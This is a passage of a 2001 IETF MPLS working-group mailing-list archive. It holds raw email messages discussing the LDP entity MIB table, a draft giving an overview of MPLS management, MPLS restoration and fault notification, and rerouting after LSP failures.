X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Joan,
    I have a question relating to mplsLdpEntityTable.
 If all interfaces in an LSR using global label space (per platform label
space),
 but some interfaces implements DOD label distribution, conservative
retention mode and 
 some interfaces implements DU, liberal retention mode. In this scenario all
interfaces uses same label space and LSR ID.
In this case, is mplsLdpEntityTable contains multiple entries with same LDP
identifier (mplsLdpEntityLdpId) due to different distribution and retention
modes?

Thanks,
Kishore

-----Original Message-----
From: Joan Cucchiara [mailto:jcucchia@CrescentNetworks.com]
Sent: Tuesday, October 09, 2001 5:59 PM
To: Srinivas T M
Cc: mpls@UU.NET; jcucchiara@CrescentNetworks.com;
jluciani@CrescentNetworks.com; hans@ipunplugged.com
Subject: Re: mplsLdpEntityTable




Srinivas T M wrote:
> 
> Hi,
>    Can anybody clarify my below question.
> 
> How Interface Index relates to entry in the
> mplsLdpEntityTable in case of per-platform label space
> , generic label type and in case of LDP Identifier is
> same for all interfaces ?

The entity entry/row is the configuration for a potential
session.  The Interface Index is in the label range tables
and the mplsLdpEntityLdpId and mplsLdpEntityIndex are used
to tie the entity entry with a label range entry.

In the case of the per-platform label space, this is also
the situation.  I'm not sure if this answers the question
you are asking though.


> 
>  Can we use single entry in the entity table for
> multiple interfaces? If it is like that, then what
> happens if we change label Distribution Method or
> LabelRetentionMode  or any field in the entity table,
> on interface? draft-ietf-mpls-ldp-mib-08.txt is not
> telling how interface relates to entry in the entity
> table.

The front section of the MIB and the description for
mplsLdpEntityAdminStatus does describe that it
expects the user to administratively disable the entity
(and thus take down the session -- meaning the session
is removed) and then change whatever
fields and then administratively enable the entity
to create new session.

  -Joan

> 
>   MplsLdpEntityEntry ::= SEQUENCE {
>      mplsLdpEntityLdpId        MplsLdpIdentifier,
>      mplsLdpEntityIndex        Unsigned32,
>      mplsLdpEntityProtocolVersion  Integer32,
>      mplsLdpEntityAdminStatus      INTEGER,
>      mplsLdpEntityOperStatus       INTEGER,
>      mplsLdpEntityTcpDscPort       Unsigned32,
>      mplsLdpEntityUdpDscPort       Unsigned32,
>      mplsLdpEntityMaxPduLength     Unsigned32,
>      mplsLdpEntityKeepAliveHoldTimer  Integer32,
>      mplsLdpEntityHelloHoldTimer      Integer32,
>      mplsLdpEntityInitSesThreshold    Integer32,
>      mplsLdpEntityLabelDistMethod     INTEGER,
>      mplsLdpEntityLabelRetentionMode  INTEGER,
>      mplsLdpEntityPVLMisTrapEnable    INTEGER,
>      mplsLdpEntityPVL                 Integer32,
>      mplsLdpEntityHopCountLimit       Integer32,
>      mplsLdpEntityTargPeer            TruthValue,
>      mplsLdpEntityTargPeerAddrType
> adressFamilyNumbers,
>      mplsLdpEntityTargPeerAddr      MplsLdpGenAddr,
>      mplsLdpEntityOptionalParameters
> MplsLdpLabelTypes,
>      mplsLdpEntityDiscontinuityTime   TimeStamp,
>      mplsLdpEntityStorType            StorageType,
>      mplsLdpEntityRowStatus            RowStatus
>      }
> 
> Thanks in Advance,
> Srini.
> 
> __________________________________________________
> Do You Yahoo!?
> NEW from Yahoo! GeoCities - quick and easy web site hosting, just
$8.95/month.
> http://geocities.yahoo.com/ps/info1



From owner-mpls@UU.NET  Tue Oct  9 14:37:24 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11384
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 14:37:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkak25469;
	Tue, 9 Oct 2001 18:35:17 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkak03357
	for mpls-outgoing; Tue, 9 Oct 2001 18:34:42 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkak03311
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 18:34:32 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkak25213
	for <mpls@uu.net>; Tue, 9 Oct 2001 18:34:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkak07795
	for <mpls@uu.net>; Tue, 9 Oct 2001 18:33:55 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA26599 for <mpls@uu.net>; Tue, 9 Oct 2001 14:34:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA09221 for mpls@uu.net; Tue, 9 Oct 2001 14:34:02 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkak03188
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 18:33:01 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkak19357
	for <mpls@UU.NET>; Tue, 9 Oct 2001 18:32:09 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkak04619
	for <mpls@UU.NET>; Tue, 9 Oct 2001 18:32:01 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA26270; Tue, 9 Oct 2001 14:31:47 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (ch2-dhcp134-211.cisco.com [161.44.134.211])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAS20158;
	Tue, 9 Oct 2001 14:31:45 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011009143215.01a66f08@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 09 Oct 2001 14:32:51 -0400
To: Irfan Lateef <ilateef@vill.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: MPLS Management Overview Draft
Cc: subip-area@subip.ietf.org, mpls@UU.NET, swallow@cisco.com,
        Vijay Srinivasan <vijay@cosinecom.com>,
        "Wijnen, Bert (Bert)" <bwijnen@lucent.com>,
        Scott Bradner <sob@harvard.edu>, afarrel@movaz.com,
        Cheenu Srinivasan <cheenu@alphion.com>
In-Reply-To: <3BC3417D.D7AF748A@vill.com>
References: <4.3.2.7.2.20011008082313.01a4a5a0@bucket.cisco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk


>This was a much needed effort. Just one feedback.
>You have examples in all the other draft MIBs. It will
>be good if you can add those examples in this draft and
>adjust the values of the attributes to show the linkages.
>Just a thought.

         Do you mean copy the examples out of the other
drafts and put them in here as part of one large example?

         --Tom



>Regards,
>Irfan Lateef
>
>Thomas Nadeau wrote:
>
> >         Hi,
> >
> >         During the MPLS meeting in London, Bert W. had requested that
> > I type up a draft providing an overview view of how all of the MPLS-related
> > MIBs fit together. The initial version of this draft is now available
> > here:
> >
> > 
> http://search.ietf.org/internet-drafts/draft-nadeau-mpls-mgmt-overview-00.txt
> >
> >         The co-authors and I welcome your comments on this draft.
> >
> >         As a point of order, should the MPLS WG accept this draft
> > as a working group document right away?  This document doesn't
> > satisfy a specific WG work item, but it was asked for directly
> > by one of the WG's ADs.
> >
> >         --Tom
> >
> > ------------------------------------------------------------------------
> > Mathematics is the supreme nostalgia of our time.
>
>--
>Irfan Lateef
>Village Networks Inc,



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 



From owner-mpls@UU.NET  Tue Oct  9 14:40:45 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11421
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 14:40:45 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkak25053;
	Tue, 9 Oct 2001 18:38:25 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkak03706
	for mpls-outgoing; Tue, 9 Oct 2001 18:37:40 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkak03690
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 18:37:28 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkak12188
	for <mpls@uu.net>; Tue, 9 Oct 2001 18:37:07 GMT
Received: from exchange01.movaz.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: host180.movaz.com [65.205.166.180] (may be forged))
	id QQlkak22597
	for <mpls@uu.net>; Tue, 9 Oct 2001 18:37:19 GMT
Received: from BLIULAPTOP ([172.16.24.104]) by exchange01.movaz.com with Microsoft SMTPSVC(5.0.2195.1600);
	 Tue, 9 Oct 2001 14:37:02 -0400
Message-ID: <01bf01c150f1$632d5420$681810ac@movaz.com>
From: "Adrian Farrel" <afarrel@movaz.com>
To: "Irfan Lateef" <ilateef@vill.com>
Cc: <subip-area@subip.ietf.org>, <mpls@UU.NET>,
        "Cheenu Srinivasan" <cheenu@alphion.com>,
        "Thomas Nadeau" <tnadeau@cisco.com>
References: <4.3.2.7.2.20011008082313.01a4a5a0@bucket.cisco.com> <3BC3417D.D7AF748A@vill.com>
Subject: Re: MPLS Management Overview Draft
Date: Tue, 9 Oct 2001 14:37:02 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
X-OriginalArrivalTime: 09 Oct 2001 18:37:02.0421 (UTC) FILETIME=[632B5850:01C150F1]
Sender: owner-mpls@UU.NET
Precedence: bulk

Please move this discussion to just one list.

I will respond on mpls@uu.net

Adrian
--
Adrian Farrel
Movaz Networks Inc.
Tel: 703-847-1867
afarrel@movaz.com
----- Original Message -----
From: "Irfan Lateef" <ilateef@vill.com>
To: "Thomas Nadeau" <tnadeau@cisco.com>
Cc: <subip-area@subip.ietf.org>; <mpls@UU.NET>; <swallow@cisco.com>; "Vijay
Srinivasan" <vijay@cosinecom.com>; "Wijnen, Bert (Bert)" <bwijnen@lucent.com>;
"Scott Bradner" <sob@harvard.edu>; <afarrel@movaz.com>; "Cheenu Srinivasan"
<cheenu@alphion.com>
Sent: Tuesday, October 09, 2001 2:27 PM
Subject: Re: MPLS Management Overview Draft


> Tom,
>
> This was a much needed effort. Just one feedback.
> You have examples in all the other draft MIBs. It will
> be good if you can add those examples in this draft and
> adjust the values of the attributes to show the linkages.
> Just a thought.
> Regards,
> Irfan Lateef
>
> Thomas Nadeau wrote:
>
> >         Hi,
> >
> >         During the MPLS meeting in London, Bert W. had requested that
> > I type up a draft providing an overview view of how all of the MPLS-related
> > MIBs fit together. The initial version of this draft is now available
> > here:
> >
> >
http://search.ietf.org/internet-drafts/draft-nadeau-mpls-mgmt-overview-00.txt
> >
> >         The co-authors and I welcome your comments on this draft.
> >
> >         As a point of order, should the MPLS WG accept this draft
> > as a working group document right away?  This document doesn't
> > satisfy a specific WG work item, but it was asked for directly
> > by one of the WG's ADs.
> >
> >         --Tom
> >
> > ------------------------------------------------------------------------
> > Mathematics is the supreme nostalgia of our time.
>
> --
> Irfan Lateef
> Village Networks Inc,
>
>




From owner-mpls@UU.NET  Tue Oct  9 14:45:03 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11450
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 14:44:58 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkak23516;
	Tue, 9 Oct 2001 18:43:06 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkak04073
	for mpls-outgoing; Tue, 9 Oct 2001 18:42:58 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkak04064
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 18:42:53 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkak20356
	for <mpls@uu.net>; Tue, 9 Oct 2001 18:42:12 GMT
Received: from exchange01.movaz.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: host180.movaz.com [65.205.166.180] (may be forged))
	id QQlkak03187
	for <mpls@uu.net>; Tue, 9 Oct 2001 18:42:20 GMT
Received: from BLIULAPTOP ([172.16.24.104]) by exchange01.movaz.com with Microsoft SMTPSVC(5.0.2195.1600);
	 Tue, 9 Oct 2001 14:42:04 -0400
Message-ID: <01c301c150f2$1729af00$681810ac@movaz.com>
From: "Adrian Farrel" <afarrel@movaz.com>
To: "Irfan Lateef" <ilateef@vill.com>
Cc: <mpls@UU.NET>, "Cheenu Srinivasan" <cheenu@alphion.com>,
        "Thomas Nadeau" <tnadeau@cisco.com>
References: <4.3.2.7.2.20011008082313.01a4a5a0@bucket.cisco.com> <3BC3417D.D7AF748A@vill.com>
Subject: Re: MPLS Management Overview Draft
Date: Tue, 9 Oct 2001 14:42:04 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
X-OriginalArrivalTime: 09 Oct 2001 18:42:04.0368 (UTC) FILETIME=[1724CD00:01C150F2]
Sender: owner-mpls@UU.NET
Precedence: bulk

Irfan,

The existing MIBs contain worked examples that include all of the
cross-references between MIBs.
It is generally not good practice to include this sort of material in two places
and it would be an editorial nightmare.

I can well believe that a full worked example of how to make all of the MIBs in
a system hang together in detail would be hugely useful.  I don't believe,
however, that this should live in an Internet Draft.  You may find this
information in Tom's book when it is published (that'll be $10 please, Tom) or
more likely get it as a tutorial from your software vendor.

We will, however, look at beefing up the 'dependencies' sections to describe the
abstract references between the MIBs to make it still clearer how they relate to
each other.

Regards,
Adrian
--
Adrian Farrel
Movaz Networks Inc.
Tel: 703-847-1867
afarrel@movaz.com
----- Original Message -----
> Tom,
>
> This was a much needed effort. Just one feedback.
> You have examples in all the other draft MIBs. It will
> be good if you can add those examples in this draft and
> adjust the values of the attributes to show the linkages.
> Just a thought.
> Regards,
> Irfan Lateef
>





From owner-mpls@UU.NET  Tue Oct  9 15:09:07 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11780
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 15:09:07 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkam23464;
	Tue, 9 Oct 2001 19:06:41 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkam21086
	for mpls-outgoing; Tue, 9 Oct 2001 19:06:08 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkam20977
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 19:06:01 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkam03565
	for <mpls@UU.NET>; Tue, 9 Oct 2001 19:01:30 GMT
Received: from vill.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: t17.villagenetworks.com [65.112.106.17])
	id QQlkam26018
	for <mpls@UU.NET>; Tue, 9 Oct 2001 19:01:23 GMT
Received: from vill.com (dhcp271.vill.com [192.168.2.171])
	by vill.com (8.8.8+Sun/8.8.8) with ESMTP id PAA11411;
	Tue, 9 Oct 2001 15:01:28 -0400 (EDT)
Message-ID: <3BC34A45.9A14F022@vill.com>
Date: Tue, 09 Oct 2001 15:04:37 -0400
From: Irfan Lateef <ilateef@vill.com>
Organization: Village Networks Inc
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: v.sharma@ieee.org
CC: mpls@UU.NET
Subject: Re: MPLS Restoration
References: <MMECLKMDFPCEJFECIBCMMEPHCEAA.vsharma87@yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Vishal,

Thanks for the clarification about using LSP for notification.

I think chang's draft has explained it in detail. My concern is,
this idea suffers from the same scalibility issues as local repair
with detours as suggested by gan's draft. If you have N hops
you need N-1 LSPs in the reverse direction. Imagine the number
of LSPs being tunneled through a  10 gig pipe and the traffic at
the head of the pipe with RNTs when there is a failure on this pipe.

Now the tewg-restore-hierarchy draft mentions 1:1 path protection
in 100-500 ms. For the sake of argument let assume we do use RNT
and LSP. Do you think we can achieve the protection within the
timings mention above? I dont see how?

The second question is, how is the idea about reverse LSP progressing in
the working group?

Appreciate your response.

Regards,
Irfan Lateef

Vishal Sharma wrote:

> Irfan,
>
> Please see comments below.
>
> >-----Original Message-----
> >From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Irfan
> >Lateef
> >Sent: Wednesday, October 03, 2001 7:31 PM
> >To: mpls@UU.NET
> >Subject: MPLS Restoration
> >
> >
> >Hi,
> >   I have few doubts on MPLS restoration.
> >(1)The section 3.6. Fault Notification of
> >draft-ietf-mpls-recovery-frmwrk-03.txt says,
> >  " Depending on how fault notification is configured in
> >   the LSRs of an MPLS domain, the FIS could be sent either as a Layer 2
> >
> >   or Layer 3 packet [11]. The use of a Layer 2-based notification
> >   requires a Layer 2 path direct to the PSL. "
>
> By "Layer 2" what was implied here was an MPLS LSP. The reference [11]
> provided makes this clear. Perhaps we should clarify this in the text
> as well.
>
> >  If there is an LSP from A to F as shown below and a failure has
> >occured
> >  between C & D
> >  A --- B --- C --- D --- E ---- F
> >   (a) what does it mean to have a layer 2 direct path ?
>
> It  means that you have an LSP in the reverse direction, from C to A
> (More details are provided in [11].)
>
> >   (b) how can a direct path be setup if layer 2 is SONET or GigE?
>
> It cannot. Please see explanation above. (BTW, I thought SONET was
> more a Layer 1 technology.)
>
> >   (c) And how do you route the FIS to the source in any layer 2
> >technology?
>
> Again, once the meaning of the term "Layer 2", as used in this
> context, is clear (as explained above), one realizes that use of
> "any layer 2" is not what is proposed.
>
> >(2) I have read all the MPLS restoration drafts AFAIK, but haven't found
> >any
> >     reference to expected restoration times for path restoration or
> >global repair.
> >     My guess is it going to be in the order of seconds. Is there any
> >effort or work
> >     in progress to bring it down by an order or it is impossible and
> >futile effort.
> >
>
> It depends on the type of restoration that is desired under global
> repair.
> If it is 1+1 path protection, the restoration time should
> be very small (order of milliseconds), since there is no need
> to signal to the source (in fact, there is no need for any signaling
> at all, once the failure has been detected).
> However, if more complex forms of shared
> restoration are included in global repair, then the times could be
> longer, since one may not only have to inform the source, one
> may also have to reconfigure intermediate routers/switches/crossconnects
> to realize shared restoration.
>
> In response to your question, you might want to check out the following
> two drafts:
>
> http://search.ietf.org/internet-drafts/draft-owens-te-network-survivability-
> 01.txt
>
> http://search.ietf.org/internet-drafts/draft-ietf-tewg-restore-hierarchy-00.
> txt
>
> -Vishal
>
> _________________________________________________________
> Do You Yahoo!?
> Get your free @yahoo.com address at http://mail.yahoo.com

--
Irfan Lateef
Village Networks Inc,




From owner-mpls@UU.NET  Tue Oct  9 15:28:04 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA12078
	for <mpls-archive@lists.ietf.org>; Tue, 9 Oct 2001 15:28:04 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkan13032;
	Tue, 9 Oct 2001 19:25:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkan26640
	for mpls-outgoing; Tue, 9 Oct 2001 19:25:47 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkan26632
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 9 Oct 2001 19:25:43 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkan22003
	for <mpls@uu.net>; Tue, 9 Oct 2001 19:24:14 GMT
Received: from zcars0m9.nortelnetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: zcars0m9.nortelnetworks.com [47.129.242.157])
	id QQlkan09405
	for <mpls@uu.net>; Tue, 9 Oct 2001 19:24:07 GMT
Received: from zcars04f.ca.nortel.com (zcars04f.ca.nortel.com [47.129.242.57])
	by zcars0m9.nortelnetworks.com (8.11.0/8.11.0) with ESMTP id f99JNaS27641
	for <mpls@uu.net>; Tue, 9 Oct 2001 15:23:36 -0400 (EDT)
Received: from zcard015.ca.nortel.com by zcars04f.ca.nortel.com;
          Tue, 9 Oct 2001 15:23:52 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <4SX6QGT4>; Tue, 9 Oct 2001 15:23:36 -0400
Message-ID: <3549C09B853DD5119B540002A52CDD3454B8C0@zcard0ka.ca.nortel.com>
From: "David Allan" <dallan@nortelnetworks.com>
To: Hongwei <hongwei.zhou@elec.qmul.ac.uk>
Cc: mpls <mpls@UU.NET>
Subject: RE: LSP Failure/Recovery
Date: Tue, 9 Oct 2001 15:23:32 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C150F7.E1ED6420"
X-Orig: <dallan@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C150F7.E1ED6420
Content-Type: text/plain;
	charset="iso-8859-1"

Hongwei:
 
You use the tools according to the requirements. Ingress router re-route on
failure will of course make the most optimal use of resources as the only
network resource committment is to the currently working "optimal" path.
However on failure you get a relatively long outage which is the sum of the
durations of the detection/propagation times for the initial failure, and
the set up time for the new optimal path with the failed resource removed
from the topology database. Any attempt to improve on this to meet other
performance criteria (e.g. to minimize packet loss) involves juggling how
you commit resources in the network and steady state operation may look less
optimal if you simply stick with any one approach.
 
As to your questions, won't claim expertise... but an explicit route (and I
assume you mean with constraints) involves pruning the topology database
according to the desired constraints and running the SPF algorithm on the
pruned set. How much computational load this spreads over the network (e.g.
done once at the LER or iteratively modified as the setup progresses across
the network) depends on whether you use a strict or loose route, have
routing hierarchy, rate of churn, etc. crankback being one answer to fix
imperfections in LER route determination.
 
later
Dave

-----Original Message-----
From: Hongwei [mailto:hongwei.zhou@elec.qmul.ac.uk]
Sent: Tuesday, October 09, 2001 2:28 PM
To: Allan, David [CAR:NS00:EXCH]
Cc: mpls
Subject: RE: LSP Failure/Recovery


 


Dave,
 
If it is intended to implement traffic engineering with mpls, i think it
will be rational to let the ingress router deal with rerouting task because
it is the ingress router that computed the explicit route. if we allow LSR16
to do local rerouting, we may not achieve overall optimised network
performance, that is, the network load may not be balanced the best. 
 
If we have no concern about traffic engineering, i think all the three
methods you listed are usable, depending on the network administrator or
device vendors.
 
To be honest, I have also some other confusions about explicit routing:
1. how does the ingress routers compute the optimised explicit routes
through the network?
2. To compute an optimised route, a router need complete information of the
network. but every router including LERs and LSRs, has the complete
information about the whole network or the autonomous system, or just the
LERS have this whole information?
3. how do the routers get the information about the whole network? it should
be a headache because the load of the network, maybe also the topology of
the network, is in highly dynamic change.
 
Thanks for every answer in advance!!!
 
-Hongwei
 

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of David Allan
Sent: 09 October 2001 18:39
To: Sachin Kalra; Naidu, Venkata; 'manis@futsoft.com'; mpls@uu.net
Subject: RE: LSP Failure/Recovery


Sachin/Venkata:
 
You're mixing protection switching, and re-route scenarios. There are
specific behaviors/state requirements depending on the recovery strategy,
    - LSR 16 may tell the ingress (revertive/non-revertive global repair), 
    - LSR 16 may tell no-one (local repair),  
    - LSR 16 may tell EVERYONE (simple re-route) when the link goes
down/comes back up.
 
later
Dave
 


------_=_NextPart_001_01C150F7.E1ED6420
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=885345718-09102001>Hongwei:</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=885345718-09102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=885345718-09102001>You 
use the tools according to the requirements. Ingress router re-route on failure 
will of course make the most optimal use of resources as the only network 
resource committment is to the currently working "optimal" path. However on 
failure you get a relatively long outage which is the sum of the durations of 
the detection/propagation times for the initial failure, and the set up time for 
the new optimal path with the failed resource removed from the topology 
database. Any attempt to improve on this to meet other performance criteria 
(e.g. to minimize packet loss) involves juggling how you commit resources in the 
network and steady state operation may look less optimal if you simply stick 
with any one approach.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=885345718-09102001></SPAN></FONT><FONT color=#0000ff face=Arial 
size=2><SPAN class=885345718-09102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=885345718-09102001>As to 
your questions, won't claim expertise... but an explicit route (and I assume you 
mean with constraints) involves pruning the topology database according to the 
desired constraints and running the SPF algorithm on the pruned set. How much 
computational load this spreads over the network (e.g. done once at the LER or 
iteratively modified as the setup progresses across the network) depends on 
whether you use a strict or loose route, have routing hierarchy, rate of churn, 
etc. crankback being one answer to fix imperfections in LER route 
determination.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=885345718-09102001></SPAN></FONT><FONT color=#0000ff face=Arial 
size=2><SPAN class=885345718-09102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=885345718-09102001>later</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=885345718-09102001>Dave</SPAN></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Hongwei 
  [mailto:hongwei.zhou@elec.qmul.ac.uk]<BR><B>Sent:</B> Tuesday, October 09, 
  2001 2:28 PM<BR><B>To:</B> Allan, David [CAR:NS00:EXCH]<BR><B>Cc:</B> 
  mpls<BR><B>Subject:</B> RE: LSP Failure/Recovery<BR><BR></DIV></FONT>
  <DIV>&nbsp;</DIV>
  <BLOCKQUOTE style="MARGIN-RIGHT: 0px">
    <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma size=2>
    <DIV><FONT color=#0000ff face=&#23435;&#20307; size=2><SPAN 
    class=719260218-09102001>Dave,</SPAN></FONT></DIV>
    <DIV><FONT color=#0000ff face=&#23435;&#20307; size=2><SPAN 
    class=719260218-09102001></SPAN></FONT>&nbsp;</DIV>
    <DIV><FONT color=#0000ff face=&#23435;&#20307; size=2><SPAN class=719260218-09102001>If it 
    is intended to implement traffic engineering with mpls, i think it will be 
    rational to let the ingress router deal with rerouting task because it is 
    the ingress router that computed the explicit route. if we allow LSR16 to do 
    local rerouting, we may not achieve overall optimised network performance, 
    that is, the network load may not be balanced the best. </SPAN></FONT></DIV>
